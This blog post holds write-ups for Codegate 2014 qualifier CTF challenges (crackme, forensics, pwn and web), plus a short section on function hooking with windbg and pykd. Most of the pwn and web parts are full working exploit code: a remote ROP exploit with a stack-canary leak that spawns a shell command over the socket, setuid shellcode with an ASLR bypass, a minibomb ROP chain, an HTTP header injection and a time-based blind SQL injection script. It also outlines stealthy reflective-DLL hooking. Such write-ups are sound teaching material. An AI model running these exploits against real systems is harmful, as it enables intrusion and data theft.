Belated Codegate 2014 Quals Writeups and Lessons Learned

The local challenges can be grabbed from here and various other writeups are online. I was off on the timing for this one, so I only dove into most the challenges on Sunday morning… right before codegate ended and after it ended. I did pretty terrible rank-wise, but I thought the challenges were fun anyway and solved some after the codegate was over.

I learn new things almost every CTF, even if it’s sometimes just things that make sense intuitively but I’ve just never thought about before or forgotten. Here are some lessons learned from codegate.

  • stack canaries on linux stay constant and you can get them with an info leak. On windows there is more entropy and this wouldn’t have been as straightforward (see Pwn 250)
  • ulimit -s pretty much defeats ASLR if you’re local. Also, there are areas you can overwrite in this space, like in the syscall mappings, to control the instruction pointer (See Pwn 350 and Pwn 400)
  • To control the number of bytes output locally, you can use non-blocking sockets (see Pwn 400)
  • gdb really can’t find gs: segments very well, but there are usually workarounds (see Pwn 350)
  • You can’t call openprocess with all access on a process being debugged (i.e. you can’t open two debuggers on the same process, even if it’s been forked) but you can openprocess with PROCESS_VM_READ. (reversing 250 – although I ended up going a different route)
  • I wrote a Pykd script that can be called on a windbg breakpoint and continue based on python stuff e.g. you could do a conditional break on a regex which seems tough in windbg without writing a script. (see reversing 250)
  • SQLmap has a cool testbed where you can test your sql syntax, available at https://github.com/sqlmapproject/testenv (used to test web 500)

Reversing 200 dodoCrackme

Running strace

$ strace ./crackme_d079a0af0b01789c01d5755c885da4f6 
execve("./crackme_d079a0af0b01789c01d5755c885da4f6", ["./crackme_d079a0af0b01789c01d575"...], [/* 37 vars */]) = 0
mmap(NULL, 30000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff6000
write(1, "r", 1r)                        = 1
write(1, "o", 1o)                        = 1
write(1, "o", 1o)                        = 1
write(1, "t", 1t)                        = 1
write(1, "@", 1@)                        = 1
write(1, "l", 1l)                        = 1
write(1, "o", 1o)                        = 1
write(1, "c", 1c)                        = 1
write(1, "a", 1a)                        = 1
write(1, "l", 1l)                        = 1
write(1, "h", 1h)                        = 1
write(1, "o", 1o)                        = 1
write(1, "s", 1s)                        = 1
write(1, "t", 1t)                        = 1
write(1, "'", 1')                        = 1
write(1, "s", 1s)                        = 1
write(1, " ", 1 )                        = 1
write(1, "p", 1p)                        = 1
write(1, "a", 1a)                        = 1
write(1, "s", 1s)                        = 1
write(1, "s", 1s)                        = 1
write(1, "w", 1w)                        = 1
write(1, "o", 1o)                        = 1
write(1, "r", 1r)                        = 1
write(1, "d", 1d)                        = 1
write(1, ":", 1:)                        = 1
...

it looks like they’re doing syscalls for every character written and read

Most of the binary is garbage, but you can see clusters of syscalls where the output and input happen. Looking in IDA, there are four clusters of syscalls. One outputs the fail, one outputs “Enter root password”, one is a huge loop that inputs the password, and one outputs winner.

With gdb, I recorded executions and executed backworkds until I was in the giant input loop. At that point I started searching for the password was as an offset to rbp, since this is how it outputs strings as syscalls. Sure enough, I found it pretty quickly.


import gdb
import binascii
import sys


def read_weird_string(start_addr, spacing=8, block=100):
    a = gdb.selected_inferior().read_memory(start_addr, block * spacing)
    #for i in range(0,block):
    #   print
    #print help(a)
    for i in a:
        if i == "\x00":
            continue
        sys.stdout.write(i)
    print
    print binascii.hexlify(a)


read_weird_string(0x7ffff7ff9b50) #this is $rbp - around 50
gdb-peda$ source decode_string.py 
H4PPY_C0DEGaTE_2014_CU_1N_K0RE4

Reversing 250 Clone Technique

This one has on the description: “Limited processes will be generated. Which one has the flag?”

We can see in the main function that it will call createProcessW in a loop that lasts 0x190 iterations, so that’s our number of processes.

12c

Each process is called with three args, #randomlookingnumber# #randomlookingnumber# #counter#, where counter is 0,1,2,…

One thing I tried to do throughout this was put a breakpoint on memory access. For example,

ba w4 00409754

The value would change, but the breakpoint is never hit. Crazy! After some investigation with Joe, we eventually figured out this is because ba works by putting a break in one of four registers per processes. In our case, the memory is written to using a call to WriteProcessMemory, and the kernel is writing the memory, so our breakpoint is never hit.

Investigating this led to the cinit function, which is called before main and contains the calls to writeprocessmemory. It starts with code that grabs the command line args if they exist (and if not sets them to the first value. It then pushes them along with this interesting data string to a function, messes with a string it returns, and then 0s out that string. Even without looking at what the decode_func is doing, it looks like a likely place for a key!

decode_func

My strategy was then to attach windbg to every one of these forked processes by turning childdbg on, changing the filters to control when it breaks, and set a breakpoint right before the rep stosd. I then wrote a python script to see if this is a candidate for the key.

>type windbg.txt
.childdbg 1
.load pykd.pyd
sxr
sxe -c "bp 00401201 \"!py iskey.py\";g"  ibp
sxi epr

>type iskey.py
#!/usr/bin/python

import pykd
import struct
import binascii

def is_possible_key(mstr):
  try:
    mstr = mstr[:mstr.index(0)]
  except ValueError:
    return False
  print mstr
  for i in mstr:
    if not (i >= 0x20 and i <= 0x7e):
      return False
  if len(mstr) > 5:
    print "".join([chr(i) for i in mstr])
    return True
  return False

edi = pykd.reg("edi")
a = pykd.loadBytes(edi,30)
if is_possible_key(a):
  print "KEYKEYKEYKEYKEYKEY"
else:
  pykd.dbgCommand("g")

>windbg -c "$$><windbg.txt" clone_technique.exe

This finds our key ‘And Now His Watch is Ended’

Forensics 150

Ok, so our file is a pcap-ng apparently based on the magic bytes, but it doesn’t open with wireshark

0-weirdcap

First I ran foremost on the file, which detected a pdf and a bmp. I then ran a few tools found here http://www.forensicswiki.org/wiki/PDF on the pdf but no luck. Looking at it, it’s

for150_1

Ok, so we might have to fix the pcap-ng file to view this correctly. I don’t know much about the format, but I opened it in a hex editor and searched for DWORD hex(4270407998), which is \x3e \x41 \x89 \xfe. I replaced this with DWORD 96 and got a similar error. Then I kind of brute forced – set it to 0x30 and got a different error. 0x40 gave a too big error. It took about 10 tries of manual binary searching, and then I got a format I could open in wireshark and follow the tcp stream.

for150_2

Then just save the pdf part to a file and we get the key

for150_3

Pwn 250 Angy Doraemon

This was a fun, relatively straightforward challenge. It’s a remote exploit. The bug is in the mouse function. When it reads the answer to “are you sure?” it reads 0x6E bytes into a buffer only a few bytes big.

doremon

The hard part is you have to bypass a non-executable stack and a stack canary. This is possible via an info leak. Because we can write over the end of our string, we can see other values on the stack, such as the canary and the fd. One interesting thing I learned is how on Linux the stack canary seems to be constant per process (on windows, as Matt Miller said, Windows cookies are basically an XOR’d combination of the current system time, process identifier, thread identifier, tick count, and performance counter.)

So you leak the canary, then you have to rop a payload. execl is in the .got, and I used some fancy redirecting to send the output right back through the socket. You need the file descriptor, but it’s on the stack and you need it anyway I think to do a read from the socket.

#!/usr/bin/python

import argparse
import struct
import socket
import binascii
import time

class exploit:
  def __init__(self, args):
    self.command = args.command

    if args.fd == None:
      self.get_fd()
    else:
      self.fd = args.fd

    if args.canary == None:
      self.get_canary()
    else:
      self.canary = binascii.unhexlify(args.canary)

    self.pwn()
    
  def get_canary(self):
    self.canary = ""
    padding = "yAAAAAAAAA"
    #doing one byte at a time simplifies cases where there are null bytes
    for i in range(0,4):
      sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      sock.connect((args.host, args.port))
      data = self.recv_until(">", sock)
      sock.sendall("4")

      self.recv_until("(y/n) ", sock)
      sock.sendall(padding)
      data = self.recv_until("\"MOUSE!!!!!!!!! (HP - 25)\"", sock)
      if len(data) == 58 + i:
        self.canary += "\x00"
      else:
        self.canary += data[22+i]
      padding += "A"
      sock.close()
    print "canary: ", binascii.hexlify(self.canary)

  def get_fd(self):
    self.canary = ""
    padding = "yAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((args.host, args.port))
    data = self.recv_until(">", sock)
    sock.sendall("4")

    self.recv_until("(y/n) ", sock)
    sock.sendall(padding)
    data = self.recv_until("\"MOUSE!!!!!!!!! (HP - 25)\"", sock)
    sock.close()
    self.fd = ord(data[42])
    print "fd: ", self.fd

  def pwn(self):

    rop = struct.pack("<I", 0x08048620)       # read plt
    rop += struct.pack("<I", 0x8048b2c)       # pop 3 ret
    rop += struct.pack("<I", self.fd)         # fd
    rop += struct.pack("<I", 0x804b508)       # buf 
    rop += struct.pack("<I", 0x256)           # nbytes
    rop += struct.pack("<I", 0x08048710)      # execl
    rop += struct.pack("<I", 0x41424142)      # ret
    rop += struct.pack("<I", 0x0804970D)      # /bin/sh
    rop += struct.pack("<I", 0x0804970D)      # /bin/sh
    rop += struct.pack("<I", 0x804b508)       # buf "-c"
    rop += struct.pack("<I", 0x804b508 + 3)   # buf "command"
    rop += struct.pack("<I", 0x0000000)       # null

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((args.host, args.port))
    data = self.recv_until(">", sock)
    sock.sendall("4")
    self.recv_until("(y/n) ", sock)

    padding = "yAAAAAAAAA"
    padding += self.canary
    padding += "B" * 12
    sock.sendall(padding + rop)

    self.command += " 0<&{0} 1>&{0}".format(self.fd) #redirect output to our socket
    sock.sendall("-c\x00{0}\x00".format(self.command))

    data = sock.recv(1024)   
    print data
    sock.close() 

  def recv_until(self, string, sock):
    data = ""
    while True:
      tmp = sock.recv(1)
      if tmp == "":
        break
      data += tmp
      if data.endswith(string):
        break
    return data


parser = argparse.ArgumentParser()
parser.add_argument("--host", default="192.168.137.150")
parser.add_argument("--port", default=8888)
parser.add_argument("--canary", default=None)
parser.add_argument("--command", default="whoami")
parser.add_argument("--fd", default=None, type=int)
args = parser.parse_args()

m = exploit(args)

Pwn 350 4stone

This is a binary that plays a game locally, sort of like connect 4. All the interesting things happen if you win the game with 0 time (which you can do with a constant strategy – this took me longer than it should have). If you do win, it grabs some input from stdin.

4stone_numseconds

As you can see from the following snippet, you get an “arbitrary” write (marked in red). There is a catch though. You can write anywhere, as long as it doesn’t start with 0x804, or 0x0b.

4stone_write

The stack is executable, so if we could overwrite anything, then we’d be sitting good. Unfortunately, most everything by default starts at 0x804 or 0x0b.

gdb-peda$ vmmap 
Start      End        Perm	Name
0x08048000 0x0804a000 r-xp	/home/mopey/games/4stone/4stone
0x0804a000 0x0804b000 r-xp	/home/mopey/games/4stone/4stone
0x0804b000 0x0804c000 rwxp	/home/mopey/games/4stone/4stone
0x0804c000 0x0806d000 rwxp	[heap]
0xb7dc2000 0xb7dc3000 rwxp	mapped
0xb7dc3000 0xb7dc6000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0xb7dc6000 0xb7dc7000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0xb7dc7000 0xb7dc8000 rwxp	/lib/i386-linux-gnu/libdl-2.17.so
0xb7dc8000 0xb7f76000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0xb7f76000 0xb7f78000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0xb7f78000 0xb7f79000 rwxp	/lib/i386-linux-gnu/libc-2.17.so
0xb7f79000 0xb7f7d000 rwxp	mapped
0xb7f7d000 0xb7f9b000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9b000 0xb7f9c000 ---p	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9c000 0xb7f9e000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9e000 0xb7f9f000 rwxp	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9f000 0xb7fc2000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0xb7fc2000 0xb7fc3000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0xb7fc3000 0xb7fc4000 rwxp	/lib/i386-linux-gnu/libncurses.so.5.9
0xb7fdb000 0xb7fdd000 rwxp	mapped
0xb7fdd000 0xb7fde000 r-xp	[vdso]
0xb7fde000 0xb7ffe000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0xb7ffe000 0xb7fff000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0xb7fff000 0xb8000000 rwxp	/lib/i386-linux-gnu/ld-2.17.so
0xbffdf000 0xc0000000 rwxp	[stack]

hmmm, we can write to the heap, but that’s tough. What can we do locally? My initial thought was to make the stack big enough so it wasn’t in the 0x0b range, then potentially overwrite a return pointer. There’s aslr on, but we might be able to brute force it. So I started filling up the stack with an execve call, but hit a limit. Ok, we can set this with ulimit. I tried this, and set it to unlimited, and something interesting happened. The mapping then looks something like this:

gdb-peda$ vmmap 
Start      End        Perm	Name
0x08048000 0x0804a000 r-xp	/home/mopey/games/4stone/4stone
0x0804a000 0x0804b000 r-xp	/home/mopey/games/4stone/4stone
0x0804b000 0x0804c000 rwxp	/home/mopey/games/4stone/4stone
0x0804c000 0x0806d000 rwxp	[heap]
0x40000000 0x40020000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0x40020000 0x40021000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0x40021000 0x40022000 rwxp	/lib/i386-linux-gnu/ld-2.17.so
0x40022000 0x40023000 r-xp	[vdso]
0x40023000 0x40025000 rwxp	mapped
0x4003c000 0x4005f000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0x4005f000 0x40060000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0x40060000 0x40061000 rwxp	/lib/i386-linux-gnu/libncurses.so.5.9
0x40061000 0x4007f000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0x4007f000 0x40080000 ---p	/lib/i386-linux-gnu/libtinfo.so.5.9
0x40080000 0x40082000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0x40082000 0x40083000 rwxp	/lib/i386-linux-gnu/libtinfo.so.5.9
0x40083000 0x40084000 rwxp	mapped
0x40084000 0x40232000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0x40232000 0x40234000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0x40234000 0x40235000 rwxp	/lib/i386-linux-gnu/libc-2.17.so
0x40235000 0x40238000 rwxp	mapped
0x40238000 0x4023b000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0x4023b000 0x4023c000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0x4023c000 0x4023d000 rwxp	/lib/i386-linux-gnu/libdl-2.17.so
0x4023d000 0x4023e000 rwxp	mapped
0xbffdf000 0xc0000000 rwxp	[stack]

And a lot of these addresses, like libc, don’t change, even with ASLR! (apparently this is well known, but this is the first I’ve seen it). So where can we write in one of methods? The only function call after our arbitrary write is to exit, which makes a system call. Maybe we can overwrite that?

Tracing this, in the exit .got we have

0x40084000 0x40232000 r-xp	/lib/i386-linux-gnu/libc-2.17.so

   0x4013eb04 <_exit>:	mov    ebx,DWORD PTR [esp+0x4]
   0x4013eb08 <_exit+4>:	mov    eax,0xfc
=> 0x4013eb0d <_exit+9>:	call   DWORD PTR gs:0x10

It turns out gdb sucks at finding the actual address of gs:0x10 sections, so I stepped into it, or you can also find it like this http://stackoverflow.com/questions/10354063/how-to-use-a-logical-address-in-gdb by setting “catch syscall set_thread_area” and looking at the location. Doing this, we see 0x40022414 is mapped to <__kernel_vsyscall>

Because this is bound loosely we can look for references to this in the mapped region.

gdb-peda$ peda searchmem 0x40022414 mapped (searching for the syscall)
Found 1 results, display max 1 items:
mapped : 0x4023d6d0 --> 0x40022414 (<__kernel_vsyscall>:	push   ecx)

It looks like we could overwrite this and it would point somewhere else. Does it work?

gdb-peda$ set {int}0x4023d6d0=0x0c0c0c0c
gdb-peda$ continue 
Continuing.
...
Stopped reason: SIGSEGV
0x0c0c0c0c in ?? ()

Cool. So using this, we can put our shellcode in an environment variable, put a ton of nops there, and point to it. This was the final exploit

#!/usr/bin/python

import os
import argparse
import struct
import sys
from ctypes import *

class exploit:
  def __init__(self, args):
    self.vulnpath = args.path

    #stdin (wins the game and specifies what to write)
    f = open(args.inputfile, "w")
    f.write("\nhhh\nhh\nhh\nhhh\nh\nl\nhhhh\nl\nll\nh\n\n\n")
    #f.write("c0c0c0c0")  #what to write 
    f.write("bfab0b00")  #what to write 

    f.close()

    f = os.open(args.inputfile, int('444', 8))
    print f
    print sys.stdin
    os.dup2(f, 0)

    #arg1 (sepcifies where to write)   
    self.argv = "4023d6d0" 

    #environment (shellcode) /bin/sh setuid 1003
    dashsc = (
"\xdb\xc8\xd9\x74\x24\xf4\xbf\xa2\x35\xcc\x83\x5b\x31\xc9" +
"\xb1\x0b\x83\xeb\xfc\x31\x7b\x14\x03\x7b\xb6\xd7\x39\xb2" +
"\x76\xa7\x84\x0e\x9d\xcb\x08\x71\xd8\x27\x0b\x71\x1a\x75" +
"\x8c\x40\xda\xd5\xe5\x8d\xf5\xa6\x9d\xb9\x26\x2b\x37\x54" +
"\xb1\x48\x97\xfb\x48\x6f\x29\x2e\xfa\x7b\x87\x4e"
    )

    self.env = { "TERM": "xterm" }
    for i in range(0,100):
      self.env[str(i)] = "\x90" * 100000 + dashsc

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.argv], self.env)
    
parser = argparse.ArgumentParser()
parser.add_argument("--inputfile", default="input.txt")
parser.add_argument("--path")

args = parser.parse_args()
m = exploit(args)
m.pwn()

Pwn 400 minibomb

The overflow on this is straightforward, but the executable is tiny, and there’s not a lot of rop you can do. Using the ulimit -s unlimited trick, you only have a handful of gadgets.

gdb-peda$ x/4i 0x40000424
   0x40000424 <__kernel_vsyscall+16>:	pop    ebp
   0x40000425 <__kernel_vsyscall+17>:	pop    edx
   0x40000426 <__kernel_vsyscall+18>:	pop    ecx
   0x40000427 <__kernel_vsyscall+19>:	ret   
gdb-peda$ x/2i 0x080480F3
   0x80480f3:	mov    ebx,0x0
   0x80480f8:	int    0x80

We can control edx and ecx with the gadget at 0x40000425, and another interesting thing is we may be able to control ebx indirectly if we can write to unk_8049150

.text:080480B4 lea     ebx, unk_8049150 ; start
.text:080480BA int     80h             ; 

We have almost all we need for a system call, except we don’t have eax anywhere. After some research, one thing that’s promising is both “read” and “write” will return eax to the value of bytes read or written. My first thought was if I could set ecx or edx with the gadget at 0x40000425 then I might be able to use one of the existing reads or writes to control eax. This is close to working, like if they would mov eax, 4 (syswrite) immmediately before the int 80, it would have worked. But unfortunately there’s no flow like that. They all move eax, 4 at the beginning, then set all the args afterward.

I was stuck here, but luckily the good thing about trying this one late is there are solutions posted. This is an excellent writeup, and I used it to cheat: http://mslc.ctf.su/wp/codegate-2014-quals-minibomb-pwn-400/. They set a nonblocking socket to control how much could be written. Cool! I never would’ve though of that.

Using More Smoked Leet Chicken’s technique

#!/usr/bin/python
#listener.py

import socket
import time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("127.0.0.1", 30123))
s.listen(1)

while True:
  conn, ts = s.accept()
  conn.sendall("/tmp/blah\x00 ")
  time.sleep(1)
  print "got connection"
  conn.close()
#!/usr/bin/python
#exploit.py

import argparse
import struct
import socket
import time
from subprocess import *

class exploit:
  def __init__(self, args):

    self.vulnpath = args.path

    padding = "A" * 16

    rop = struct.pack("<I", 0x40000425)  #pop edx, pop ecx, ret
    rop += struct.pack("<I", 11)         #edx (length)
    rop += struct.pack("<I", 0x08049150) #ecx (buffer)
    #eax is 3 due to pipe
    rop += struct.pack("<I", 0x08048143) #read syscall.. 0804812C to read from stdin?

    #eax is 11 due to read 11
    rop += "AAAAAAAAAAAAAAAA"
    rop += struct.pack("<I", 0x40000425)  #pop edx, pop ecx, ret
    rop += struct.pack("<I", 0)  
    rop += struct.pack("<I", 0)  
    rop += struct.pack("<I", 0x080480B4)

    self.payload = padding + rop

  def pwn(self):
    out_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    out_sock.connect(("127.0.0.1", 30123))
    out_sock.setblocking(0)

    #find the right value
    out_sock.sendall("A" * eval(args.sendsize))

    p = Popen(self.vulnpath, shell=True, stdin=PIPE, stdout=out_sock)

    p.stdin.write(self.payload)


parser = argparse.ArgumentParser()
parser.add_argument('--path', default="./minibomb")
parser.add_argument('--sendsize', default=0)

args = parser.parse_args()
m = exploit(args)
m.pwn()
$ ulimit -s
unlimited 
$ cat /tmp/blah 
#!/bin/bash -p

/usr/bin/id > /tmp/output
$ python exploit.py --sendsize='4096 * 332 + 1024 + 256 + 64 + 32 +19' --path="./minibomb"
$ cat /tmp/output 
uid=1000(test) gid=1000(test) groups=1000(test)

Web 200

I banged my head against this one for a while. In the comments was
I tried things like looking for .htaccess, etc, but no luck.

This looked promising

this looks promising

http://58.229.183.25/188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin

But you only get the first two lines back and the content length. But it turns out there’s a header injection!

GET /188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin/+HTTP/1.0%0d%0aHost:+localhost%0d%0aRange:+bytes%3d372-430%0d%0a%0d%0a HTTP/1.1
Host: 58.229.183.25
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

This responds with

<!--if($_SERVER[HTTP_HOST]=="hackme")--></body>

Cool. Requesting it directly, even with the header, still gives a forbidden. But we can reuse the header injection enough and we can play around with the bytes.

GET /188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin/+HTTP/1.0%0d%0aHost:+hackme%0d%0aRange:+bytes%3d76-127%0d%0a%0d%0a HTTP/1.1
Host: 58.229.183.25
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

In the response is: Password is WH0_IS_SnUS_bI1G_F4N

Web 500

They give us this source.

<?php
session_start();

$link = @mysql_connect('localhost', '', '');
@mysql_select_db('', $link);

function RandomString()
{
  $filename = "smash.txt";
  $f = fopen($filename, "r");
  $len = filesize($filename);
  $contents = fread($f, $len);
  $randstring = '';
  while( strlen($randstring)<30 ){
    $t = $contents[rand(0, $len-1)];
    if(ctype_lower($t)){
    $randstring .= $t;
    }
  }
  return $randstring;
}

$max_times = 120;

if ($_SESSION['cnt'] > $max_times){
  unset($_SESSION['cnt']);
}

if ( !isset($_SESSION['cnt'])){
  $_SESSION['cnt']=0;
  $_SESSION['password']=RandomString();

  $query = "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";
  @mysql_query($query);

  $query = "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', '$_SESSION[password]')";
  @mysql_query($query);
}
$left_count = $max_times-$_SESSION['cnt'];
$_SESSION['cnt']++;

if ( $_POST['password'] ){
  
  if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
    @mysql_close($link);
    exit("Wrong access");
  }

  $query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
  $q = @mysql_query($query);
  $res = @mysql_fetch_array($q);
  if($res['ip']==$_SERVER['REMOTE_ADDR']){
    @mysql_close($link);
    exit("True");
  }
  else{
    @mysql_close($link);
    exit("False");
  }
}

@mysql_close($link);
?>

<head>
<link rel="stylesheet" type="text/css" href="black.css">
</head>

<form method=post action=index.php>
  <h1> <?= $left_count ?> times left </h1>
  <div class="inset">
  <p>
    <label for="password">PASSWORD</label>
    <input type="password" name="password" id="password" >
  </p>
  </div>
  <p class="p-container">
    <span onclick=location.href="auth.php"> Auth </span>
    <input type="submit" value="Check">
  </p>
</form>

The sqli is relatively straightforward. You can have a True/false query like this.

password='or(1=2)and'1
password='or(1=1)and'1

But we have only 120 guesses*, and the password is quite long at 30 chars. This returns true

password='or(CHAR_LENGTH(password)=30)and'1

so that means we have only an average of four queries per letter, or 120 guesses for the whole 30 character password. They are lower case at least, so that can reduce our queries by quite a bit, but if we query all the bits, that’s 5 per letter and is too many with a true/false query (which would need 5 per letter). And if you do a straight binary search of the 30 char password, that’s on the order of a few hundred per session*

But, we really have more than true/false – we have an arbitrary number of states. true, false, and timing. We can sleep different amounts of times, etc. For example, we’re only lacking one bit, so we could ask, is the next bit 1 (return true), 0 (return false), or are all the bits 1 (sleep 10 seconds).
The query ended up pretty complicated, and I had to add some code that checked sanity to make sure letters were being decoded correctly.*

#!/usr/bin/python

import urllib
import httplib
import time
import argparse
import sys

class web500:
    def __init__(self, host="58.229.183.24", port=80, session="", check_iter=-1, debug=False):
        self.conn = httplib.HTTPConnection(host, port)
        self.conn.connect()
        if session == "":
            self.session = self.get_session()
            print "Creating SESSION=" + self.session
        else:
            self.session = session
        
        self.check_iter = check_iter
        self.debug = debug
        self.upperlimit = 120
        self.passwd = ""
        self.pwn()
        
    def pwn(self):
        for letter in range(0,30):
            dstr = ""
            if self.check_iter != -1:
                letter = int(self.check_iter)
            for bit in range(8,3,-1):
                self.upperlimit -=1
                if self.upperlimit < 0:
                    print "ERROR: Went over limit :("
               
                this_char = "LPAD(BIN(ORD(SUBSTR(password,{0},1))),8,'0')".format(letter+1)
                this_bit  = "SUBSTR({0},{1},1)".format(this_char, bit)
                
                if (bit != 4 and not self.debug):
                    #if on binary(password[i])[3:4] == 10: sleep 24
                    #if on binary(password[i])[3:4] == 01: sleep 16
                    #if all more significant bits are 1: sleep 8
                    #if all more significant bits are 0: sleep 4
                    #else: return true if 1, else 0
                    truth = "if(left(SUBSTR({0},4,9),{1})!='10',if(left(SUBSTR({0},4,9),{1})!='01',  if(left(SUBSTR({0},4,9),{1})!='{4}',  if(left(SUBSTR({0},4,9),{1})!='{2}', if({3}=0x31,1,0),sleep(4)),sleep(8)),sleep(16)),sleep(24))".format(this_char, bit-3, "0"*(bit-3), this_bit, "1"*(bit-3))
                else:
                    truth = "if({0}=0x31,1,0)".format(this_bit)
                    
                sql = "'or(" + truth + ")and'1"
                param= "password=" + urllib.quote(sql)
                
                self.conn.putrequest("POST", "/5a520b6b783866fd93f9dcdaf753af08/index.php")
                self.conn.putheader("Content-length", str(len(param)))
                self.conn.putheader("Cookie", "PHPSESSID=" + self.session)
                self.conn.putheader("Content-Type", "application/x-www-form-urlencoded")
                self.conn.endheaders()
                t = time.clock()
                
                self.conn.send(param)                
                resp = self.conn.getresponse()
                data = resp.read()
                t = time.clock() - t
                if t>=24:
                    dstr = "10" + dstr
                    break
                elif t>=16:
                    dstr = "01" + dstr
                    break
                elif t >= 8:
                    dstr = dstr.rjust(5,"1")
                    break
                elif t >= 4:
                    dstr = dstr.zfill(5)
                    break
                elif "True" in data:
                    dstr = "1" + dstr
                else:
                    dstr = "0" + dstr
            print "Index:", letter, "Value", dstr, "Iter:", self.upperlimit
            self.passwd += self.bin_tochar(dstr)
            if self.check_iter != -1:
                break
        print "PASSWORD: ", self.passwd
        
    def bin_tochar(self, c):
        return chr(int("011" + c, 2))
     
    def get_session(self):
        self.conn.putrequest("GET", "/5a520b6b783866fd93f9dcdaf753af08/index.php")
        self.conn.endheaders()
        resp = self.conn.getresponse()
        data = resp.read()
        return resp.getheader("Set-Cookie").split("=")[1].split(";")[0]
        
         
parser = argparse.ArgumentParser()
parser.add_argument("--session", default="")
parser.add_argument("--checkIter", default=-1)
parser.add_argument("--debug", action="store_true")
args = parser.parse_args()
                           
a = web500(session=args.session, check_iter=args.checkIter, debug=args.debug)

web500

Logging in with this password gives us the key:

Congrats! the key is DontHeartMeBaby*$#@!

*If I noticed it, I should’ve done it like other people and noticed I could have just supplied a different sessionID. This looks way easier http://tunz.tistory.com/109

Soft Function Hooking with windbg and pykd

There are a lot of ways to modify the execution of a program, including at least using Windows Compatibility Toolkit (a good reference is Mark Baggett’s Derbycon talk), modifying the environment, manual patching the binary before it runs, and function hooking.  Function hooking generally refers to any method where you’re able to intercept and modify function calls of a running process. A simple example of a function hook might be “every time the program calls AESEncrypt, first save the plaintext to a file and then call AESEncrypt”.

There are also many different ways to function hook, and in my opinion there isn’t really a “best” way – it just depends on what you’re trying to do. For example, if you’re doing something to try to be sneaky, one of the best ways may be like Joe outlines here:

  1. Reflectively load your DLL using powershell so nothing needs to ever touch disk
  2. In your DLL, write a C function that contains the functionality to execute. Optionally, return control to the original function
  3. Overwrite the first bytes of the function to jump to your DLL

However, if your goal is to change the behavior of a program and you don’t care about stealth (e.g. you’re just using hooking as an aid to testing) there are easier ways to accomplish the same goal. “soft” function hooking usually refers to attaching a debugger to a program and using the debugger’s functionality to modify the behavior. I’ve seen this approach elsewhere – in gray hat python, they use this technique with pydbg and immunitydbg.

I learned about pykd because of mona for windb. I messed with pykd last week, and I like it quite a bit (at least more than windbg plugin alternatives I’ve used like powerdbg). There are pluses and minuses when compared with something like immunity debugger. Pykd doesn’t currently have nearly the number of convenience functions immunitydbg has (for example, you have to store your strings in memory manually). UPDATE:  In this case I was looking for something like remotevirtualalloc and didn’t see it. But @corelanc0d3r pointed me at windbglib, which has these exact convenience functions.   But Windbg is just a more powerful debugger. For example, immunitydbg is awesome, but it doesn’t work with 64 bit processes, following children processes, kernel debugging, etc.

Here is a simple example. I ran into a situation where a team’s test box had a hard coded a test server to listen only on localhost. This can be a pain to debug, because a lot of my tools are on other boxes and plus I can’t do things like see what’s actually going on with wireshark. This is a quick script that modifies the behavior of inet_addr, which is where this binary passed the hard coded localhost to (if you’re wondering why I didn’t just patch it – that was an option too, but there was some other important stuff right next to it in .data and ‘localhost’ was too small to fit my IP). So this hook simply grabs the current IP and passes it as the arg to inet_addr instead of “localhost”

Some things I got a bit stuck on

  1. Use the second argument with setBP to have a callback function on the breakpoints, and then use this to modify things. Note you can’t mess with execution within the function itself. Before going this route I tried to use the EventHandlers (like onBreakPoint) and ended up with weird errors.
  2. Within your callback function, if you return True (or nothing), execution will halt, and if you return False then execution will continue
